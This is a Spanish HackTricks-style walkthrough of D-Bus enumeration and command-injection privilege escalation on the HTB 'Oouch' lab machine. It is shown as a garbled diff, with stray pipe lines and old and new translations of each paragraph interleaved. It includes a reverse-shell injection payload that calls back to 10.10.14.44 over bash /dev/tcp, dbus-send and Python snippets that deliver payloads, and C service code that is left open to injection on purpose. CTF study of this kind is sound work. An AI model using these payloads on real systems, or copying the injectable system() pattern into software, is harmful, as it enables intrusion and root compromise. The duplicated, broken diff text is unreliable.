||||
|
||||
Cuando un proceso establece una conexión con un bus, el bus asigna a la conexión un nombre especial de bus llamado _nombre de conexión única_. Los nombres de bus de este tipo son inmutables, lo que significa que no cambiarán mientras la conexión exista, y, lo que es más importante, no se pueden reutilizar durante la vida útil del bus. Esto significa que ninguna otra conexión a ese bus tendrá asignado un nombre de conexión única, incluso si el mismo proceso cierra la conexión al bus y crea una nueva. Los nombres de conexión única son fácilmente reconocibles porque comienzan con el carácter de dos puntos, que de otra manera estaría prohibido.
|
||||
[De Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Cuando un proceso establece una conexión a un bus, el bus asigna a la conexión un nombre de bus especial llamado _nombre de conexión único_. Los nombres de bus de este tipo son inmutables, lo que garantiza que no cambiarán mientras exista la conexión, y, lo que es más importante, no se pueden reutilizar durante la vida útil del bus. Esto significa que ninguna otra conexión a ese bus tendrá asignado un nombre de conexión único, incluso si el mismo proceso cierra la conexión al bus y crea una nueva. Los nombres de conexión únicos son fácilmente reconocibles porque comienzan con el carácter de dos puntos, que de otra manera está prohibido.
|
||||
|
||||
### Información del objeto de servicio
|
||||
### Información del Objeto de Servicio
|
||||
|
||||
Luego, puedes obtener información sobre la interfaz con:
|
||||
```bash
|
||||
busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface
|
||||
|
||||
|
@ -110,49 +101,49 @@ Session=n/a
|
|||
AuditLoginUID=n/a
|
||||
AuditSessionID=n/a
|
||||
UniqueName=:1.3
|
||||
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
InheritableCapabilities=
|
||||
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search
|
||||
cap_fowner cap_fsetid cap_kill cap_setgid
|
||||
cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service
|
||||
cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock
|
||||
cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot
|
||||
cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot
|
||||
cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config
|
||||
cap_mknod cap_lease cap_audit_write cap_audit_control
|
||||
cap_setfcap cap_mac_override cap_mac_admin cap_syslog
|
||||
cap_wake_alarm cap_block_suspend cap_audit_read
|
||||
```
|
||||
### Listar Interfaces de un Objeto de Servicio
|
||||
### Enumerar Interfaces de un Objeto de Servicio
|
||||
|
||||
Es necesario tener suficientes permisos.
|
||||
Necesitas tener suficientes permisos.
|
||||
```bash
|
||||
busctl tree htb.oouch.Block #Get Interfaces of the service object
|
||||
|
||||
└─/htb
|
||||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
└─/htb/oouch
|
||||
└─/htb/oouch/Block
|
||||
```
|
||||
### Interfaz Introspect de un Objeto de Servicio
|
||||
### Inspeccionar la Interfaz de un Objeto de Servicio
|
||||
|
||||
Observe cómo en este ejemplo se seleccionó la última interfaz descubierta utilizando el parámetro `tree` (_ver sección anterior_):
|
||||
```bash
|
||||
|
@ -172,42 +163,40 @@ org.freedesktop.DBus.Properties interface - - -
|
|||
.Set method ssv - -
|
||||
.PropertiesChanged signal sa{sv}as - -
|
||||
```
|
||||
Ten en cuenta el método `.Block` de la interfaz `htb.oouch.Block` (el que nos interesa). La "s" de las otras columnas puede significar que espera una cadena.
|
||||
### Interfaz de Monitoreo/Captura
|
||||
|
||||
### Interfaz de monitorización/captura
|
||||
Con la cantidad suficiente de privilegios (simplemente `send_destination` y `receive_sender` no son suficientes) puedes **monitorear una comunicación D-Bus**.
|
||||
|
||||
Con suficientes privilegios (solo `send_destination` y `receive_sender` no son suficientes), puedes **monitorizar una comunicación D-Bus**.
|
||||
|
||||
Para **monitorizar** una **comunicación**, necesitarás ser **root**. Si aún tienes problemas para ser root, consulta [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) y [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
Para **monitorear** una **comunicación** necesitarás ser **root**. Si aún tienes problemas para ser root, consulta [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) y [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si sabes cómo configurar un archivo de configuración de D-Bus para **permitir que los usuarios no root husmeen** en la comunicación, ¡**contáctame**!
|
||||
¡Si sabes cómo configurar un archivo de configuración de D-Bus para **permitir a usuarios no root espiar** la comunicación, por favor **contáctame**!
|
||||
{% endhint %}
|
||||
|
||||
Diferentes formas de monitorizar:
|
||||
Diferentes formas de monitorear:
|
||||
```bash
|
||||
sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
En el siguiente ejemplo se monitorea la interfaz `htb.oouch.Block` y se envía el mensaje "**_**lalalalal**_**" a través de una mala comunicación:
|
||||
En el siguiente ejemplo se monitorea la interfaz `htb.oouch.Block` y **se envía el mensaje "**_**lalalalal**_**" a través de una mala comunicación**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
Monitoring bus message stream.
|
||||
‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2
|
||||
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
|
||||
UniqueName=:1.1376
|
||||
MESSAGE "s" {
|
||||
STRING "lalalalal";
|
||||
};
|
||||
Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block
|
||||
UniqueName=:1.1376
|
||||
MESSAGE "s" {
|
||||
STRING "lalalalal";
|
||||
};
|
||||
|
||||
‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2
|
||||
Sender=:1.3 Destination=:1.1376
|
||||
UniqueName=:1.3
|
||||
MESSAGE "s" {
|
||||
STRING "Carried out :D";
|
||||
};
|
||||
Sender=:1.3 Destination=:1.1376
|
||||
UniqueName=:1.3
|
||||
MESSAGE "s" {
|
||||
STRING "Carried out :D";
|
||||
};
|
||||
```
|
||||
Puedes usar `capture` en lugar de `monitor` para guardar los resultados en un archivo pcap.
|
||||
|
||||
|
@ -217,7 +206,7 @@ Si hay demasiada información en el bus, pasa una regla de coincidencia de la si
|
|||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
Se pueden especificar múltiples reglas. Si un mensaje coincide con _cualquiera_ de las reglas, el mensaje se imprimirá. De esta manera:
|
||||
Se pueden especificar múltiples reglas. Si un mensaje coincide con _cualquiera_ de las reglas, el mensaje se imprimirá. De la siguiente manera:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
|
@ -225,73 +214,73 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
|||
```bash
|
||||
dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
Consulte la [documentación de D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para obtener más información sobre la sintaxis de las reglas de coincidencia.
|
||||
Consulta la [documentación de D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) para obtener más información sobre la sintaxis de las reglas de coincidencia.
|
||||
|
||||
### Más
|
||||
|
||||
`busctl` tiene aún más opciones, [**encuentra todas ellas aquí**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
`busctl` tiene aún más opciones, [**encuéntralas todas aquí**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
|
||||
## **Escenario Vulnerable**
|
||||
|
||||
Como usuario **qtc dentro del host "oouch" de HTB**, puede encontrar un **archivo de configuración de D-Bus inesperado** ubicado en _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
```markup
|
||||
Como usuario **qtc dentro del host "oouch" de HTB**, puedes encontrar un **archivo de configuración de D-Bus inesperado** ubicado en _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?> <!-- -*- XML -*- -->
|
||||
|
||||
<!DOCTYPE busconfig PUBLIC
|
||||
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
|
||||
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
|
||||
"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
|
||||
"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
|
||||
|
||||
<busconfig>
|
||||
|
||||
<policy user="root">
|
||||
<allow own="htb.oouch.Block"/>
|
||||
</policy>
|
||||
<policy user="root">
|
||||
<allow own="htb.oouch.Block"/>
|
||||
</policy>
|
||||
|
||||
<policy user="www-data">
|
||||
<allow send_destination="htb.oouch.Block"/>
|
||||
<allow receive_sender="htb.oouch.Block"/>
|
||||
</policy>
|
||||
<policy user="www-data">
|
||||
<allow send_destination="htb.oouch.Block"/>
|
||||
<allow receive_sender="htb.oouch.Block"/>
|
||||
</policy>
|
||||
|
||||
</busconfig>
|
||||
```
|
||||
Nota de la configuración anterior que **necesitarás ser el usuario `root` o `www-data` para enviar y recibir información** a través de esta comunicación D-BUS.
|
||||
Ten en cuenta que **necesitarás ser el usuario `root` o `www-data` para enviar y recibir información** a través de esta comunicación D-BUS.
|
||||
|
||||
Como usuario **qtc** dentro del contenedor docker **aeb4525789d8** puedes encontrar algún código relacionado con dbus en el archivo _/code/oouch/routes.py._ Este es el código interesante:
|
||||
Como usuario **qtc** dentro del contenedor de Docker **aeb4525789d8**, puedes encontrar algo de código relacionado con D-BUS en el archivo _/code/oouch/routes.py._ Este es el código de interés:
|
||||
```python
|
||||
if primitive_xss.search(form.textfield.data):
|
||||
bus = dbus.SystemBus()
|
||||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||||
bus = dbus.SystemBus()
|
||||
block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block')
|
||||
block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block')
|
||||
|
||||
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
|
||||
response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr)
|
||||
response = block_iface.Block(client_ip)
|
||||
bus.close()
|
||||
return render_template('hacker.html', title='Hacker')
|
||||
```
|
||||
Como se puede ver, se está **conectando a una interfaz D-Bus** y enviando a la función **"Block"** la dirección IP del cliente.
|
||||
Como puedes ver, se está **conectando a una interfaz D-Bus** y enviando a la función **"Block"** el "client\_ip".
|
||||
|
||||
En el otro lado de la conexión D-Bus hay un binario compilado en C en ejecución. Este código está **escuchando** en la conexión D-Bus **para la dirección IP y está llamando a iptables a través de la función `system`** para bloquear la dirección IP dada.\
|
||||
**La llamada a `system` es vulnerable a propósito a la inyección de comandos**, por lo que una carga útil como la siguiente creará una shell inversa: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
En el otro lado de la conexión D-Bus hay un binario compilado en C en ejecución. Este código está **escuchando** en la conexión D-Bus **la dirección IP y está llamando a iptables a través de la función `system`** para bloquear la dirección IP proporcionada.\
|
||||
**La llamada a `system` es vulnerable a propósito a la inyección de comandos**, por lo que un payload como el siguiente creará un shell inverso: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
|
||||
|
||||
### Explotarlo
|
||||
|
||||
Al final de esta página puedes encontrar el **código C completo de la aplicación D-Bus**. Dentro de él puedes encontrar entre las líneas 91-97 **cómo se registran la `ruta del objeto D-Bus`** y el **`nombre de la interfaz`**. Esta información será necesaria para enviar información a la conexión D-Bus:
|
||||
Al final de esta página puedes encontrar el **código C completo de la aplicación D-Bus**. Dentro de él, entre las líneas 91-97 puedes encontrar cómo se **registran el `path del objeto D-Bus`** y el **`nombre de la interfaz`**. Esta información será necesaria para enviar información a la conexión D-Bus:
|
||||
```c
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
&slot,
|
||||
"/htb/oouch/Block", /* interface */
|
||||
"htb.oouch.Block", /* service object */
|
||||
block_vtable,
|
||||
NULL);
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
&slot,
|
||||
"/htb/oouch/Block", /* interface */
|
||||
"htb.oouch.Block", /* service object */
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
Además, en la línea 57 se puede encontrar que **el único método registrado** para esta comunicación D-Bus se llama `Block` (_**Por eso, en la siguiente sección, las cargas útiles se enviarán al objeto de servicio `htb.oouch.Block`, la interfaz `/htb/oouch/Block` y el nombre del método `Block`**_):
|
||||
También, en la línea 57 puedes encontrar que **el único método registrado** para esta comunicación D-Bus se llama `Block`(_**Por eso, en la siguiente sección, las cargas útiles se enviarán al objeto de servicio `htb.oouch.Block`, la interfaz `/htb/oouch/Block` y el nombre del método `Block`**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
El siguiente código en Python enviará el payload a la conexión D-Bus al método `Block` a través de `block_iface.Block(runme)` (_nota que fue extraído del fragmento de código anterior_):
|
||||
El siguiente código en Python enviará la carga útil a la conexión D-Bus al método `Block` a través de `block_iface.Block(runme)` (_nota que fue extraído del fragmento de código anterior_):
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
|
@ -306,11 +295,11 @@ bus.close()
|
|||
dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oouch.Block.Block string:';pring -c 1 10.10.14.44 #'
|
||||
```
|
||||
* `dbus-send` es una herramienta utilizada para enviar mensajes al "Bus de Mensajes".
|
||||
* Bus de Mensajes - Un software utilizado por los sistemas para hacer que las comunicaciones entre aplicaciones sean fáciles. Está relacionado con la Cola de Mensajes (los mensajes se ordenan en secuencia) pero en el Bus de Mensajes los mensajes se envían en un modelo de suscripción y también son muy rápidos.
|
||||
* La etiqueta "-system" se utiliza para mencionar que es un mensaje del sistema, no un mensaje de sesión (por defecto).
|
||||
* Bus de Mensajes: Un software utilizado por sistemas para facilitar la comunicación entre aplicaciones. Está relacionado con la Cola de Mensajes (los mensajes se ordenan en secuencia), pero en el Bus de Mensajes los mensajes se envían en un modelo de suscripción y también de forma muy rápida.
|
||||
* La etiqueta "-system" se utiliza para indicar que es un mensaje del sistema, no un mensaje de sesión (por defecto).
|
||||
* La etiqueta "--print-reply" se utiliza para imprimir nuestro mensaje de manera apropiada y recibir cualquier respuesta en un formato legible para humanos.
|
||||
* "--dest=Dbus-Interface-Block" es la dirección de la interfaz Dbus.
|
||||
* "--string:" - Tipo de mensaje que nos gusta enviar a la interfaz. Hay varios formatos para enviar mensajes como double, bytes, booleans, int, objpath. De estos, "objpath" es útil cuando queremos enviar una ruta de archivo a la interfaz Dbus. Podemos usar un archivo especial (FIFO) en este caso para pasar un comando a la interfaz en el nombre de un archivo. "string:;" - Esto es para llamar a la ruta del objeto nuevamente donde colocamos el archivo FIFO o el archivo/comando de shell inversa.
|
||||
* "--string:" - Tipo de mensaje que queremos enviar a la interfaz. Hay varios formatos para enviar mensajes como double, bytes, booleans, int, objpath. De estos, el "objeto path" es útil cuando queremos enviar la ruta de un archivo a la interfaz Dbus. Podemos usar un archivo especial (FIFO) en este caso para pasar un comando a la interfaz con el nombre de un archivo. "string:;" - Esto es para llamar al objeto path nuevamente donde colocamos el archivo de shell inverso FIFO.
|
||||
|
||||
_Nota que en `htb.oouch.Block.Block`, la primera parte (`htb.oouch.Block`) hace referencia al objeto de servicio y la última parte (`.Block`) hace referencia al nombre del método._
|
||||
|
||||
|
@ -330,143 +319,148 @@ _Nota que en `htb.oouch.Block.Block`, la primera parte (`htb.oouch.Block`) hace
|
|||
#include <systemd/sd-bus.h>
|
||||
|
||||
static int method_block(sd_bus_message *m, void *userdata, sd_bus_error *ret_error) {
|
||||
char* host = NULL;
|
||||
int r;
|
||||
char* host = NULL;
|
||||
int r;
|
||||
|
||||
/* Read the parameters */
|
||||
r = sd_bus_message_read(m, "s", &host);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
|
||||
return r;
|
||||
}
|
||||
/* Read the parameters */
|
||||
r = sd_bus_message_read(m, "s", &host);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to obtain hostname: %s\n", strerror(-r));
|
||||
return r;
|
||||
}
|
||||
|
||||
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
|
||||
char command[] = "iptables -A PREROUTING -s %s -t mangle -j DROP";
|
||||
|
||||
int command_len = strlen(command);
|
||||
int host_len = strlen(host);
|
||||
int command_len = strlen(command);
|
||||
int host_len = strlen(host);
|
||||
|
||||
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
|
||||
if(command_buffer == NULL) {
|
||||
fprintf(stderr, "Failed to allocate memory\n");
|
||||
return -1;
|
||||
}
|
||||
char* command_buffer = (char *)malloc((host_len + command_len) * sizeof(char));
|
||||
if(command_buffer == NULL) {
|
||||
fprintf(stderr, "Failed to allocate memory\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
sprintf(command_buffer, command, host);
|
||||
sprintf(command_buffer, command, host);
|
||||
|
||||
/* In the first implementation, we simply ran command using system(), since the expected DBus
|
||||
* to be threading automatically. However, DBus does not thread and the application will hang
|
||||
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
|
||||
* multithreading)
|
||||
*/
|
||||
int pid = fork();
|
||||
/* In the first implementation, we simply ran command using system(), since the expected DBus
|
||||
* to be threading automatically. However, DBus does not thread and the application will hang
|
||||
* forever if some user spawns a shell. Thefore we need to fork (easier than implementing real
|
||||
* multithreading)
|
||||
*/
|
||||
int pid = fork();
|
||||
|
||||
if ( pid == 0 ) {
|
||||
/* Here we are in the child process. We execute the command and eventually exit. */
|
||||
system(command_buffer);
|
||||
exit(0);
|
||||
} else {
|
||||
/* Here we are in the parent process or an error occured. We simply send a genric message.
|
||||
* In the first implementation we returned separate error messages for success or failure.
|
||||
* However, now we cannot wait for results of the system call. Therefore we simply return
|
||||
* a generic. */
|
||||
return sd_bus_reply_method_return(m, "s", "Carried out :D");
|
||||
}
|
||||
r = system(command_buffer);
|
||||
if ( pid == 0 ) {
|
||||
/* Here we are in the child process. We execute the command and eventually exit. */
|
||||
system(command_buffer);
|
||||
exit(0);
|
||||
} else {
|
||||
/* Here we are in the parent process or an error occured. We simply send a genric message.
|
||||
* In the first implementation we returned separate error messages for success or failure.
|
||||
* However, now we cannot wait for results of the system call. Therefore we simply return
|
||||
* a generic. */
|
||||
return sd_bus_reply_method_return(m, "s", "Carried out :D");
|
||||
}
|
||||
r = system(command_buffer);
|
||||
}
|
||||
|
||||
|
||||
/* The vtable of our little object, implements the net.poettering.Calculator interface */
|
||||
static const sd_bus_vtable block_vtable[] = {
|
||||
SD_BUS_VTABLE_START(0),
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
SD_BUS_VTABLE_END
|
||||
SD_BUS_VTABLE_START(0),
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
SD_BUS_VTABLE_END
|
||||
};
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
/*
|
||||
* Main method, registeres the htb.oouch.Block service on the system dbus.
|
||||
*
|
||||
* Paramaters:
|
||||
* argc (int) Number of arguments, not required
|
||||
* argv[] (char**) Argument array, not required
|
||||
*
|
||||
* Returns:
|
||||
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
|
||||
* as long as the user keeps it alive.
|
||||
*/
|
||||
/*
|
||||
* Main method, registeres the htb.oouch.Block service on the system dbus.
|
||||
*
|
||||
* Paramaters:
|
||||
* argc (int) Number of arguments, not required
|
||||
* argv[] (char**) Argument array, not required
|
||||
*
|
||||
* Returns:
|
||||
* Either EXIT_SUCCESS ot EXIT_FAILURE. Howeverm ideally it stays alive
|
||||
* as long as the user keeps it alive.
|
||||
*/
|
||||
|
||||
|
||||
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
|
||||
signal(SIGCHLD,SIG_IGN);
|
||||
/* To prevent a huge numer of defunc process inside the tasklist, we simply ignore client signals */
|
||||
signal(SIGCHLD,SIG_IGN);
|
||||
|
||||
sd_bus_slot *slot = NULL;
|
||||
sd_bus *bus = NULL;
|
||||
int r;
|
||||
sd_bus_slot *slot = NULL;
|
||||
sd_bus *bus = NULL;
|
||||
int r;
|
||||
|
||||
/* First we need to connect to the system bus. */
|
||||
r = sd_bus_open_system(&bus);
|
||||
if (r < 0)
|
||||
{
|
||||
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
/* First we need to connect to the system bus. */
|
||||
r = sd_bus_open_system(&bus);
|
||||
if (r < 0)
|
||||
{
|
||||
fprintf(stderr, "Failed to connect to system bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
&slot,
|
||||
"/htb/oouch/Block", /* interface */
|
||||
"htb.oouch.Block", /* service object */
|
||||
block_vtable,
|
||||
NULL);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
/* Install the object */
|
||||
r = sd_bus_add_object_vtable(bus,
|
||||
&slot,
|
||||
"/htb/oouch/Block", /* interface */
|
||||
"htb.oouch.Block", /* service object */
|
||||
block_vtable,
|
||||
NULL);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to install htb.oouch.Block: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
|
||||
/* Register the service name to find out object */
|
||||
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
/* Register the service name to find out object */
|
||||
r = sd_bus_request_name(bus, "htb.oouch.Block", 0);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to acquire service name: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
|
||||
/* Infinite loop to process the client requests */
|
||||
for (;;) {
|
||||
/* Process requests */
|
||||
r = sd_bus_process(bus, NULL);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
if (r > 0) /* we processed a request, try to process another one, right-away */
|
||||
continue;
|
||||
/* Infinite loop to process the client requests */
|
||||
for (;;) {
|
||||
/* Process requests */
|
||||
r = sd_bus_process(bus, NULL);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to process bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
if (r > 0) /* we processed a request, try to process another one, right-away */
|
||||
continue;
|
||||
|
||||
/* Wait for the next request to process */
|
||||
r = sd_bus_wait(bus, (uint64_t) -1);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
}
|
||||
/* Wait for the next request to process */
|
||||
r = sd_bus_wait(bus, (uint64_t) -1);
|
||||
if (r < 0) {
|
||||
fprintf(stderr, "Failed to wait on bus: %s\n", strerror(-r));
|
||||
goto finish;
|
||||
}
|
||||
}
|
||||
|
||||
finish:
|
||||
sd_bus_slot_unref(slot);
|
||||
sd_bus_unref(bus);
|
||||
sd_bus_slot_unref(slot);
|
||||
sd_bus_unref(bus);
|
||||
|
||||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
return r < 0 ? EXIT_FAILURE : EXIT_SUCCESS;
|
||||
}
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
# Referencias
|
||||
* [https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/](https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
